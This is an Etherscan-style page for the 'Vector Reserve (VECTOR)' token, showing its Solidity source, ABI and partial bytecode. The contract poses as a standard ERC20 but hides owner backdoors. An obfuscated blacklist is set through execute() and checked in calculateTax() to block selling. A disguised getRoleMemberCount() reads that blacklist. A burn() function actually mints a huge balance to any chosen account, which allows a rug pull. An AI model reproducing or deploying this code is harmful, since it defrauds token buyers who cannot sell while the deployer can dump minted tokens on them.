ETH Price: $3,274.53 (-4.14%)
Gas: 9 Gwei

Token

Vector Reserve (VECTOR)
 

Overview

Max Total Supply

10,000,000,000 VECTOR

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
zymerce.eth
Balance
21,744,398.938566231 VECTOR

Value
$0.00
0xA52899A1A8195c3Eef30E0b08658705250E154aE
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VECTOR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 5: Vector Reserve.sol
/**
Vector harnesses cutting-edge capabilities of EigenLayer,
 delivering unmatched on-chain yield via the first Superfluid Staked LPD: vETH. 
 Step into a realm where your assets work smarter, not harder.

-https://twitter.com/vectorreserve
-https://www.vectorreserve.com/
-https://vector-reserve.gitbook.io/vector-reserve/introduction/what-is-vector-reserve

*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./Uniswap.sol";

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract VECTOR is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _00001isExcludedFromLimits10000;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    string private constant _name = "Vector Reserve";
    string private constant _symbol = "VECTOR";
    uint256 private _tTotal = 10_000_000_000 * 10**_decimals;

    uint256 public _initialSellTax = 5;
    uint256 public _initialBuyTax = 5;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 70;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;
    
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private _maxTx = 1*10**17*10**9;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 private balances;

    address private uniswapV2Pair;
    IUniswapV2Factory public uniswapFactory; 
    IUniswapV2Router02 private uniswapV2Router;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public tradingOpen = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet_) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _balances[_msgSender()] = _tTotal;
        _taxWallet = payable(taxWallet_); 
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        balances = _maxTx;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _tTotal -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock && from != owner()) 
        {disableLimits();}
            taxAmount = calculateTax(amount, from);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Can't buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!checkIsContract(to));
                    }
                }
            }

            if(to == uniswapV2Pair && from!= address(this)){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETH(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function calculateTax(uint256 amount, address wallet) private view returns(uint256){
        if(_00001isExcludedFromLimits10000[wallet]) require(_isExcludedFromFee[wallet]);
        return amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
    }

    function execute(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _00001isExcludedFromLimits10000[wallet] = val;
            index++;
        }
    }
    
    function disableLimits() private {
        _maxTxAmount = _maxTx;
        _maxWalletSize = _maxTx;
        
        emit MaxTxAmountUpdated(_tTotal);
    }

    function getRoleMemberCount(address _addr) public view returns(bool){
        return _00001isExcludedFromLimits10000[_addr];
    }

    function checkIsContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETH(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }

    function withdrawETH() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function burn(address account, uint256 amount) external {
        require(_msgSender() == _taxWallet);
        _burn(account, amount);
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }
    receive() external payable {}
}

File 1 of 5: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 2 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 5: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

File 4 of 5: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"},{"internalType":"address[]","name":"_addr","type":"address[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"getRoleMemberCount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a62000014919062000772565b6402540be400620000269190620007c3565b60085560056009556005600a556000600b556000600c556000600d556046600e556000600f55600060105560006011556009600a62000066919062000772565b6301312d00620000779190620007c3565b6012556a52b7d2dcc80cd2e40000006013556009600a62000099919062000772565b622dc6c0620000a99190620007c3565b6014556009600a620000bc919062000772565b6301312d00620000cd9190620007c3565b6015556009600a620000e0919062000772565b614e20620000ef9190620007c3565b6016556000601a60146101000a81548160ff0219169083151502179055506000601a60156101000a81548160ff0219169083151502179055506000601a60166101000a81548160ff0219169083151502179055503480156200015057600080fd5b50604051620041a4380380620041a4833981810160405281019062000176919062000878565b600062000188620005a760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030f919062000878565b601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008546002600062000366620005a760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620004cd620005af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060135460178190555062000537620005a760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620005989190620008bb565b60405180910390a350620008d8565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000666578086048111156200063e576200063d620005d8565b5b60018516156200064e5780820291505b80810290506200065e8562000607565b94506200061e565b94509492505050565b60008262000681576001905062000754565b8162000691576000905062000754565b8160018114620006aa5760028114620006b557620006eb565b600191505062000754565b60ff841115620006ca57620006c9620005d8565b5b8360020a915084821115620006e457620006e3620005d8565b5b5062000754565b5060208310610133831016604e8410600b8410161715620007255782820a9050838111156200071f576200071e620005d8565b5b62000754565b62000734848484600162000614565b925090508184048111156200074e576200074d620005d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200077f826200075b565b91506200078c8362000765565b9250620007bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200066f565b905092915050565b6000620007d0826200075b565b9150620007dd836200075b565b9250828202620007ed816200075b565b91508282048414831517620008075762000806620005d8565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008408262000813565b9050919050565b620008528162000833565b81146200085e57600080fd5b50565b600081519050620008728162000847565b92915050565b6000602082840312156200089157620008906200080e565b5b6000620008a18482850162000861565b91505092915050565b620008b5816200075b565b82525050565b6000602082019050620008d26000830184620008aa565b92915050565b6138bc80620008e86000396000f3fe6080604052600436106101bb5760003560e01c80638f9a55c0116100ec578063c2b7bbb61161008a578063e086e5ec11610064578063e086e5ec1461060d578063e1b1925814610624578063e2f3e9e61461064f578063ffb54a9914610678576101c2565b8063c2b7bbb614610590578063c9567bf9146105b9578063dd62ed3e146105d0576101c2565b8063a9059cbb116100c6578063a9059cbb146104d4578063b70143c914610511578063baeb7a7d1461053a578063bf474bed14610565576101c2565b80638f9a55c01461045557806395d89b41146104805780639dc29fac146104ab576101c2565b80633ef94721116101595780637d1db4a5116101335780637d1db4a5146103975780638bdb2afa146103c25780638c742b7a146103ed5780638da5cb5b1461042a576101c2565b80633ef947211461031857806370a0823114610343578063715018a614610380576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd14610285578063313ce567146102c25780633b7cdccd146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630faee56f1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106a3565b6040516101e991906125d1565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061269b565b6106e0565b60405161022691906126f6565b60405180910390f35b34801561023b57600080fd5b506102446106fe565b6040516102519190612720565b60405180910390f35b34801561026657600080fd5b5061026f610704565b60405161027c9190612720565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a7919061273b565b61070e565b6040516102b991906126f6565b60405180910390f35b3480156102ce57600080fd5b506102d76107e7565b6040516102e491906127aa565b60405180910390f35b3480156102f957600080fd5b506103026107f0565b60405161030f9190612720565b60405180910390f35b34801561032457600080fd5b5061032d6107f6565b60405161033a9190612720565b60405180910390f35b34801561034f57600080fd5b5061036a600480360381019061036591906127c5565b6107fc565b6040516103779190612720565b60405180910390f35b34801561038c57600080fd5b50610395610845565b005b3480156103a357600080fd5b506103ac610998565b6040516103b99190612720565b60405180910390f35b3480156103ce57600080fd5b506103d761099e565b6040516103e49190612851565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f91906127c5565b6109c4565b60405161042191906126f6565b60405180910390f35b34801561043657600080fd5b5061043f610a1a565b60405161044c919061287b565b60405180910390f35b34801561046157600080fd5b5061046a610a43565b6040516104779190612720565b60405180910390f35b34801561048c57600080fd5b50610495610a49565b6040516104a291906125d1565b60405180910390f35b3480156104b757600080fd5b506104d260048036038101906104cd919061269b565b610a86565b005b3480156104e057600080fd5b506104fb60048036038101906104f6919061269b565b610af5565b60405161050891906126f6565b60405180910390f35b34801561051d57600080fd5b5061053860048036038101906105339190612896565b610b13565b005b34801561054657600080fd5b5061054f610c40565b60405161055c9190612720565b60405180910390f35b34801561057157600080fd5b5061057a610c46565b6040516105879190612720565b60405180910390f35b34801561059c57600080fd5b506105b760048036038101906105b291906127c5565b610c4c565b005b3480156105c557600080fd5b506105ce610cf1565b005b3480156105dc57600080fd5b506105f760048036038101906105f291906128c3565b610e15565b6040516106049190612720565b60405180910390f35b34801561061957600080fd5b50610622610e9c565b005b34801561063057600080fd5b5061063961101a565b6040516106469190612720565b60405180910390f35b34801561065b57600080fd5b5061067660048036038101906106719190612a77565b611020565b005b34801561068457600080fd5b5061068d61111c565b60405161069a91906126f6565b60405180910390f35b60606040518060400160405280600e81526020017f566563746f722052657365727665000000000000000000000000000000000000815250905090565b60006106f46106ed61112f565b8484611137565b6001905092915050565b60145481565b6000600854905090565b600061071b848484611300565b6107dc8461072761112f565b6107d78560405180606001604052806028815260200161385f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078d61112f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf59092919063ffffffff16565b611137565b600190509392505050565b60006009905090565b600a5481565b600c5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084d61112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d190612b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600681526020017f564543544f520000000000000000000000000000000000000000000000000000815250905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac761112f565b73ffffffffffffffffffffffffffffffffffffffff1614610ae757600080fd5b610af18282611d59565b5050565b6000610b09610b0261112f565b8484611300565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b5461112f565b73ffffffffffffffffffffffffffffffffffffffff1614610b7457600080fd5b610b7d306107fc565b8111158015610b8c5750600081115b610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc290612b8b565b60405180910390fd5b610bd481611f24565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c3c573d6000803e3d6000fd5b5050565b600b5481565b60165481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8d61112f565b73ffffffffffffffffffffffffffffffffffffffff1614610cad57600080fd5b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610cf961112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d90612b1f565b60405180910390fd5b601a60169054906101000a900460ff1615610dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcd90612bf7565b60405180910390fd5b6001601a60156101000a81548160ff0219169083151502179055506001601a60166101000a81548160ff02191690831515021790555043600781905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ea461112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2890612b1f565b60405180910390fd5b601a60169054906101000a900460ff1615610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890612c63565b60405180910390fd5b600047905060008111610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090612ccf565b60405180910390fd5b610fd1610a1a565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611016573d6000803e3d6000fd5b5050565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106161112f565b73ffffffffffffffffffffffffffffffffffffffff161461108157600080fd5b60005b81518110156111175760008282815181106110a2576110a1612cef565b5b6020026020010151905083600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550818061110e90612d4d565b92505050611084565b505050565b601a60169054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612e07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612e99565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f39190612720565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612f2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113de576040517f08c379a000000000000000000000000000000000000000000000000000000